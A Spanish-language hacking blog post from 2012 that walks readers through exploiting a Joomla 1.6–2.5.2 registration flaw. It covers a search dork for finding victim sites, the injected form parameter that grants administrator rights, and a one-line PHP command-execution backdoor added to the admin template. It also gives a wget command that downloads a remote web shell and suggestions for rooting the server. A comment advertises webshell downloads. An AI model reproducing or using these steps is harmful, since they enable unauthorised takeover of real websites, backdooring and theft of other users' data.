viernes, 6 de julio de 2012

Hacked Joomla! v. [1.6.x][1.7.x][2.5.0-2.5.2] - Escalación de Privilegios


Esta vulnerabilidad de joomla nos permite escalar privilegios durante el registro de un usuario nuevo, para la versiones 1.6.x/1.7.x  no se han emitido ningun parche hasta el momento y las versiones 1.0.x/1.5.x/2.5.3+ no son vulnerables. pero para nuestro consuelo la v. 1.5.x (que no este parcheada) de joomla tiene el  bug archiconocido del Token , que puedes cambiar el pass del admin, bueno eso es otro tema.
Centremonos en lo nuestro y Explotamos esta vulnerabilidad xD! que muchas web que usan joomla las tienen.
 El bug consiste en crearnos un usuario nuevo, pero antes de eso debemos agregar un parámetro mas al formulario del registro, pueden usar firebug( Addon for Firefox), bueno busquemos un potencial y latente web joomla :D .

inurl:/index.php?option=com_users&view=registration
 <input value="7" name="jform[groups][]" />

Aqui tenemos una web joomla y veamos su codigo fuente, para tal ves poder saber que version es.




He borrado el dominio de esa web,  pero pueden sacarlo con solo mirar el logo xD! , bueno notamos que al mirar el código fuente nos sale el tag META "Joomla! - Open Source Content Management" lo cual no nos indica que versión es, pero posiblemente ese joomla sea una version casi actual o actual, lo digo por la frase que esta marcada, pero no lo garantizo por que eso se puede borrar o cambiar fácilmente, pero si quieren saber que probable versión puede ser, usen el programa CMSEXPLORER que viene incluida en las distribuciones de Backtrack. Ahora tratemos de crear un usuario, tenemos que buscar el componente de usuarios para poder registrarnos, escriban en el navegador:

www.sitejoomla.com/index.php?option=com_users&view=registration





como verán yo llene con mis datos y apropósito erre a la ahora de escribir mi password, hice esto para que a la hora de registrarme envié el parámetro(que luego inyectaremos) que se quedara grabado en la session de nuestro registro, y pongan un correo existente ya que al final de registro te mandan un link de confirmación, ahora falta inyectar nuestro parámetro en el formulario de registro para  así explotar la dichosa vulnerabilidad.
presionen F12 para abrir el firebug Y luego desarrollen los pasos de la imagen, y ahora nos quedan poner nuestro pequeño codigo que esta casi al inicio de este post.



si se dan cuenta el código esta entre los tags "<dd></dd>", es por que esta versión de joomla usan esos tipos de etiquetas, pues tal ves encuentren un joomla sin esos tags, en ese caso tienen que ver como es su estructura y acoplarse a ello, para evitar fracasos xD!, respecto al codigo, si se dan cuenta el "value=7", eso nos indica que vamos estar en el grupo de Administradores y no el grupo de Super Usuarios que es el valor 8.


Bueno presionamos F12 o minimizamos el firebug por que ya no lo vamos usar, y hacemos los pasos de la imagen.


luego de registrarnos nos sale un mensaje que dice que verifiquemos y confirmemos el registro en nuestro email proporcionado, y si no lo encuentran revizenlo en la zona de correos Spam.




Después de confirmar el registro accedemos al panel de administracionde joomla .

www.sitejoomla.com/administrator


y nos logueamos.



Come vemos en la imagen la version del joomla es 2.5.1 , bueno casi actual como dijimos en el principio y también podremos ver nuestro usuario que es administrador xD! , ahora queda subir nuestra shell.


Para eso vamos editar el template del administrador, hacemos click en extensiones y luego a gestion de templates, unos dirán por que mejor no subimos nuestra shell.php por el modulo "MEDIA", pues le digo que para hacer eso necesitamos modificar las extensiones de archivos permitidas de joomla y agregar la extensiones .php, pero como nuestro usuario solo es administrador no tenemos ese privilegio, solo los "Super Usuarios" pueden hacer eso.


Luego verificamos cual es el template default del Administrador, fíjense en la imagen ahí esta marcado para que se den cuentan cual es el template default.


Luego hacemos click en la pestaña "Template" y buscamos el template del administrador.



Y luego modificamos el archivo principal del Template.


Vemos el código del "index.php" del template del administrador, y luego agregamos o escribimos el siguiente código.

print_r(ini_get("disable_functions"));


la función ini_get es para llamar  los valores seteados o configurado  en el servidor o también podríamos usar phpinfo() pero ha veces esa función también esta deshabilitada xD!,  luego guardamos.


Después de haber guardado, no sale las funciones deshabilitadas en el host o en el servidor, notamos que la función exec() , no esta en esa lista y eso nos favorece ya que también con esa función podemos ejecutar comandos en el servidor. En caso que encuentren que todas las funciones de php que ejecutan comando este deshabilitada, en ese caso nos quedaría bypasear el server con ini_set() (claro esta que esa funciona también no este dehabilitada, si fuera el caso tendríamos que ver otras formas), cargando librerías con dl() o con un exploit, pero tal ves solo quieran husmear en el server, entonces tendrían que subir una shell web simple o completa, borrando en 1er lugar el código que hay en el index.php del template del admin y luego pegar el código de la shell web o pegar un código upload para subir nuestra shell.


Borramos el codigo que escribimos y ponemos el siguiente codigo.

echo @exec($_GET['o']);

El @(arroba) es para suprimir los errores de la funcion exec(), y como dijimos anteriormente , usaremos la función exec() la cual recibirá un parámetro o comando(s) por get.


luego agregamos en la url del navegador, los siguientes comandos.

&o=wget http://r57.biz/c100.txt; mv c100.txt z9.php;ls -a



como verán en una sola linea puse 3 comandos, descargar una shell en .txt, re nombrarlo a z9.php y listar los archivos,


 pero si alguien se pregunta por que me lista solo un archivo "z9.php", la respuesta es que la función exec(), te vota como salida la ultima linea del comando ejecutado, y por esa razón renombre mi shell web a "z9.php" por que ordenando alfabéticamente, tiene mas posibilidad de ser el ultimo archivo en listarse, este es el caso. Luego borramos el código que pusimos es opcional lo pueden dejar ahí si quieren, bueno luego lo guardan, después de eso nos queda ingresar a nuestra shell web en la siguiente ruta.

www.sitejoomla.com/administrator/z9.php


bueno ahí vemos nuestra shell, ahora pueden hacer lo que quieran, no se tal ves Rootear el server, y si tal ves no hay un Local Root, pueden hacer enlaces simbólicos(Symlink) a los archivos de otro usuarios que estén en el mismo server o nose, ya ustedes verán.

Espero que le haya gustado este extensa entrada xD!, no pensé hacerlo así, pero bueno me gusta detallar las cosas, y si alguien se molesta por que tal ves ya sabe esos detalles o siente un haxor :D! o nose, no lo hice especialmente para ellos lo hice para aquellos que estan aprendiendo, nivel noob xD!

Post-Data: 
- Me olvidaba, también podemos inyectar el código para escalar privilegios en joomla mediante Tamper Data (addon for firefox), solo tenemos que agregar un parametro mas a la hora de modificar el envio de datos.

Exploit Code for use with Tamper Data:: jform[groups][]=7

luego le subo una imagen, para que vean como es la cuestion.

- Si alguien se pregunta cuantas versiones hay de joomla, estas son, si me equivoco que alguien me lo haga saber xD!.

Joomla V. [1.0.x]-[1.5.x]-[1.6.x]-[1.7.x]-[2.5.x]



2 comentarios:

  1. Hello, we provide you with variety of webshells which are asp, aspx and php web backdoors, such as b374k, c99, r57, pouya, wso etc. https://webshell.co

    ResponderEliminar
  2. http://prntscr.com/ebnx4f - If you installed without activation reCAPTCHA?

    ResponderEliminar